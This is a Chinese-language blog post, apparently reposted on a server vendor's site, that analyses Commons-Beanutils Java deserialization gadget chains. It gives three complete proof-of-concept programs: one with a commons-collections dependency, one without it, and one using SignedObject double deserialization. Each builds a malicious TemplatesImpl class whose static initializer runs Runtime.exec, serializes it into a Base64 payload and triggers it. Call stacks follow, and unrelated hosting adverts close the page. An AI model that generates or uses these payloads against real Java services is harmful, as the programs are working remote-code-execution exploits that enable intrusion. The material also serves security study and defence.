Commons-Beanutils的三种利用原理构造与POC

写在前面

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。其中比较常使用的有 MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils等。

分析

在之前CC链的分析中就有着一条链是通过java.util.PriorityQueue的readObject来触发的,相信大家都有印象。

主要是通过调用了其comparator的compare方法,进而调用了transform链的调用,看一下之前的调用链。

* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* PriorityQueue.heapify()
* PriorityQueue.siftDown()
* PriorityQueue.siftDownUsingComparator()
* TransformingComparator.compare()
* InvokerTransformer.transform()
* Method.invoke()
* TemplatesImpl.newTransformer()
* TemplatesImpl.getTransletInstance()
* Runtime.exec()

而CB链的思路就是,将其中的comparator替换成commons-beanutils库中的某个comparator,达到我们的目的。我们可以通过Codeql进行查看一下CB库中有哪些Comparator。

存在有一个BeanComparator这个类。

BeanComparator

这个类是用来判断两个Bean是否相等的类,跟进一下构造方法。

在创建类的对象的时候可以为comparator赋予特定的比较器,值得注意的是如果没有设定自定义的comparator,其默认为ComparableComparator对象,当然,在调用链中,将会调用他的compare方法。。

在方法中,将会通过调用PropertyUtils.getProperty将会取出两个对象的property属性值,之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。

PropertyUtils

而对于在其中调用的getProperty方法。

接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值,但是他不是直接通过反射取值,而是通过反射调用getter方法获取属性,进而经过恶意的构造,我们可以触发任意的getter方法。

构造利用

依赖CC库

那么我就就可以按照上面分析的思路构造利用了。我们的目标是通过触发任意的getter方法,达到调用TemplatesImpl#getOutputProperties方法执行命令。

首先我们需要创建一个恶意的TemplatesImpl类。

//动态创建字节码
String cmd ="java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EVil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","RoboTerh");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes", new byte[][]{bytes});

我是通过javassist库进行创建恶意类生成字节码的,同样可以通过创建一个实类进行获取,特别注意的是对于TemplatesImpl利用链来说,其恶意类需要继承AbstractTranslet类。

之后我们创建一个比较器和PriorityQueue类,并将恶意类放入queue属性中。

//创建比较器
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add(1);
queue.add(1);

//反射赋值
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(queue,"queue", new Object[]{templates, templates});

完整的POC。

package pers.cb;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB_withCC {
public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
//动态创建字节码
String cmd ="java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EVil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","RoboTerh");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes", new byte[][]{bytes});

//创建比较器
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add(1);
queue.add(1);

//反射赋值
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(queue,"queue", new Object[]{templates, templates});

//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(queue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}

调用栈。

exec:347, Runtime (java.lang)
<clinit>:-1, EVil
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
main:57, CB_withCC (pers.cb)

但是上面的链子存在一个问题,如果我们将CC库的依赖去调用,将不能执行命令,为什么呢?

在前面对BeanComparator的分析中,提到了,在创建类对象的时候,将会判断是否存在有comparator属性值,如果没有将会创建一个ComparableComparator对象。

不幸的是,这个类是存在commons-collections的类,如果没有这个依赖,在反序列化的过程中将会抛出异常。

当然同样有着解决的办法!

不依赖CC库

前面提到了,对于没有CC依赖的原因是,默认下的comparator,是CC依赖中的类,如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。

对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。

存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

我们只需要反射将对应的comparator写入属性中,就不需要依赖CC库了。

//反射赋值
setFieldValue(beanComparator,"property","outputProperties");
//下面这两个二选一都可以
//setFieldValue(beanComparator,"comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator,"comparator", Collections.reverseOrder());
setFieldValue(queue,"queue", new Object[]{templates, templates});

完整的POC。

package pers.cb;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;

public class CB_withoutCC {
public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
//动态创建字节码
String cmd ="java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","RoboTerh");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes", new byte[][]{bytes});

//创建比较器
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);

//反射赋值
setFieldValue(beanComparator,"property","outputProperties");
//下面这两个二选一都可以
//setFieldValue(beanComparator,"comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator,"comparator", Collections.reverseOrder());
setFieldValue(queue,"queue", new Object[]{templates, templates});

//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(queue);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}

二次反序列化

同样可以通过二次反序列化的方式触发利用链,在SignedObject#getObject方法中。

能够对类对象的content属性中的数据进行反序列化,如果我们能够添加自定义content属性值,替换成序列化数据,就能够达到恶意目的,我们看看构造方法。

很好,只需要传入一个实现了java.io.Serializable接口的对象做为第一个参数,那么将会将其进行序列化之后将字节传给content属性,那么就可以构造了。

创建一个恶意对象。

PriorityQueue queue1 = getpayload(obj,"outputProperties");

将这个对象传入SignedObject类中。

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

完整的POC。

package pers.cb;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB_withoutCC_twice_deserialization {
public static void setFieldValue(Object obj, String field, Object value) throws Exception{
Field declaredField = obj.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(beanComparator,"property", string);
setFieldValue(priorityQueue,"queue", new Object[]{object,null});
return priorityQueue;
}
public static void main(String[] args) throws Exception {
//生成恶意的bytecodes
String cmd ="java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evilexp");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes", new byte[][]{ bytes });
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_tfactory", new TransformerFactoryImpl());

PriorityQueue queue1 = getpayload(obj,"outputProperties");

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));

PriorityQueue queue2 = getpayload(signedObject,"object");

//序列化
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(queue2);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
baor.close();
}
}

调用栈。

exec:347, Runtime (java.lang)
<clinit>:-1, evilexp
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/133073.html<

(0)
管理的头像管理
上一篇2025-02-27 07:46
下一篇 2025-02-27 07:47

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注